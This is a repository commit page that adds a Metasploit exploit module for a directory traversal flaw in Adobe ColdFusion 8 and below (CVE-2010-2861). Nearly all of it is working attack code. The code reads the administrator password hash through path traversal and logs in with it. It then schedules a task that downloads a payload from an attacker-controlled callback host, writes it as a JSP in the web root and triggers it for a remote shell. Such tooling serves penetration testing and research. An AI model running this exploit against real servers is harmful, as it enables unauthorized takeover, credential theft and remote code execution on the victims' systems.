added exploit module coldfusion_traversal.rb from webDEViL
git-svn-id: file:///home/svn/framework3/trunk@11974 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
91c50f7683
commit
6d3d0adf93
|
@ -0,0 +1,248 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Adobe ColdFusion - Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal bug in Adobe ColdFusion.
|
||||||
|
By reading the password.properties a user can login using the encrypted
|
||||||
|
password itself. This should work on version 8 and below.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'webDEViL' ],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2010-2861' ],
|
||||||
|
[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],
|
||||||
|
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Platform' => ['linux','windows'],
|
||||||
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Payload' => 'java'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
|
||||||
|
'DisclosureDate' => 'Aug 25 2010',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
|
||||||
|
OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
|
||||||
|
OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
|
||||||
|
OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
ip = datastore['RHOST']
|
||||||
|
url = datastore['URL']+"enter.cfm"
|
||||||
|
locale = "?locale="
|
||||||
|
trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
|
||||||
|
datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
|
||||||
|
datastore['URIPATH'] = rand_text_alphanumeric(6)
|
||||||
|
|
||||||
|
print_status("Trying to acheive Directory Traversal...")
|
||||||
|
while trav.match(/..\//im)
|
||||||
|
res = send_request_raw({
|
||||||
|
'uri' => url+locale+trav,
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Connection' => "keep-alive",
|
||||||
|
'Accept-Encoding' => "zip,deflate",
|
||||||
|
},
|
||||||
|
}, -1)
|
||||||
|
|
||||||
|
if (res.nil?)
|
||||||
|
print_error("no response for #{ip}:#{rport} #{url}")
|
||||||
|
elsif (res.code == 200)
|
||||||
|
#print_error("#{res.body}")#debug
|
||||||
|
|
||||||
|
if match = res.body.match(/([0-9A-F]{40})/im);
|
||||||
|
caphash = $1
|
||||||
|
print_status("URL: #{ip}#{url}?locale=#{trav}")
|
||||||
|
print_status("Admin Hash: " + caphash)
|
||||||
|
break
|
||||||
|
else
|
||||||
|
#select(nil, nil, nil, 3)
|
||||||
|
trav=trav[3..-1]
|
||||||
|
print_status("Trav:"+trav)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if caphash.nil?
|
||||||
|
print_error("Could not determine location of password.properties file, Set TRAV option manually")
|
||||||
|
print_error("OR ColdFusion is not vulnerable")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
keyz = Time.now.to_i.to_s+"123"
|
||||||
|
print_status("Time: "+ keyz)
|
||||||
|
loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
|
||||||
|
print_status("Login Hash: "+loghash)
|
||||||
|
|
||||||
|
params = 'cfadminPassword='+loghash
|
||||||
|
params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
|
||||||
|
params << 'salt='+keyz
|
||||||
|
params << '&submit=Login'
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => url,
|
||||||
|
'data' => params
|
||||||
|
})
|
||||||
|
|
||||||
|
if (res)
|
||||||
|
#print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
|
||||||
|
if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
|
||||||
|
session = $1
|
||||||
|
print_status("Cookie: #{session}")
|
||||||
|
else
|
||||||
|
print_error("Error retrieving cookie!")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("No response received while logging in.")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Attempting to automatically detect the platform...")
|
||||||
|
##AUTO_DETECT START
|
||||||
|
path = datastore['URL'] + 'settings/mappings.cfm'
|
||||||
|
res = send_request_raw(
|
||||||
|
{
|
||||||
|
'uri' => path,
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}"
|
||||||
|
}
|
||||||
|
}, 20)
|
||||||
|
|
||||||
|
if (not res) or (res.code != 200)
|
||||||
|
print_error("Failed: Error requesting #{path}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if (res.body.match(/.*td *>(.*CFIDE )/im);)
|
||||||
|
os = $1
|
||||||
|
os.match(/<td [^>]*?>(.*) /im);
|
||||||
|
os1 =$1
|
||||||
|
os1 = os1.gsub("\t", '')
|
||||||
|
os1 = os1.gsub("\r\n", '')
|
||||||
|
|
||||||
|
if (os1 =~ /:/i) #haha ;)
|
||||||
|
print_status('OS: Windows')
|
||||||
|
datastore['SHELL'] = 'cmd.exe'
|
||||||
|
os1=os1+"\\"
|
||||||
|
else #(os1 =~ /\//i)
|
||||||
|
print_status('OS: Linux')
|
||||||
|
datastore['SHELL'] = '/bin/sh'
|
||||||
|
os1=os1+"/"
|
||||||
|
end
|
||||||
|
print_status("Web Directory:"+os1)
|
||||||
|
end
|
||||||
|
|
||||||
|
##AUTO_DETECT END
|
||||||
|
|
||||||
|
res = send_request_raw(
|
||||||
|
{
|
||||||
|
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
|
||||||
|
start_time = $1
|
||||||
|
end
|
||||||
|
|
||||||
|
if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)
|
||||||
|
start_date = $1
|
||||||
|
end
|
||||||
|
#else FAIL!
|
||||||
|
comb = start_date + start_time
|
||||||
|
fmt = "%b %d, %Y%I:%M %p"
|
||||||
|
|
||||||
|
comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
|
||||||
|
t = comb.strftime("%b %d, %Y")
|
||||||
|
t1 = comb.strftime("%I:%M %p")
|
||||||
|
#t=(Time.now).strftime("%b %d, %Y") #can't use local time
|
||||||
|
#t1=(Time.now + 5).strftime("%I:%M:%S %p")
|
||||||
|
params = 'TaskName=wD-'+rand_text_alphanumeric(6)
|
||||||
|
params << "&Start_Date=#{t}" #Mar+12%2C+2011
|
||||||
|
params << '&End_Date=&ScheduleType=Once'
|
||||||
|
params << "&StartTimeOnce=#{t1}" #6%3A40+PM
|
||||||
|
params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
|
||||||
|
params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
|
||||||
|
params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
|
||||||
|
params << '&publish_file='+os1+datastore['JSP']
|
||||||
|
params << '&adminsubmit=Submit&taskNameOrig='
|
||||||
|
|
||||||
|
res = send_request_raw(
|
||||||
|
{
|
||||||
|
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => params,
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||||
|
'Content-Length' => params.length,
|
||||||
|
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
#print_error("#{res.body}")
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
p = regenerate_payload(cli)
|
||||||
|
#print_status("SHELL set to #{datastore['SHELL']}")
|
||||||
|
#print_status((p.encoded).to_s)
|
||||||
|
|
||||||
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
|
# Transmit the response to the client
|
||||||
|
send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })
|
||||||
|
|
||||||
|
res = send_request_raw(
|
||||||
|
{
|
||||||
|
'uri' => "/CFIDE/"+datastore['JSP'],
|
||||||
|
'method' => 'GET',
|
||||||
|
}, 25)
|
||||||
|
# Handle the payload
|
||||||
|
handler(cli)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue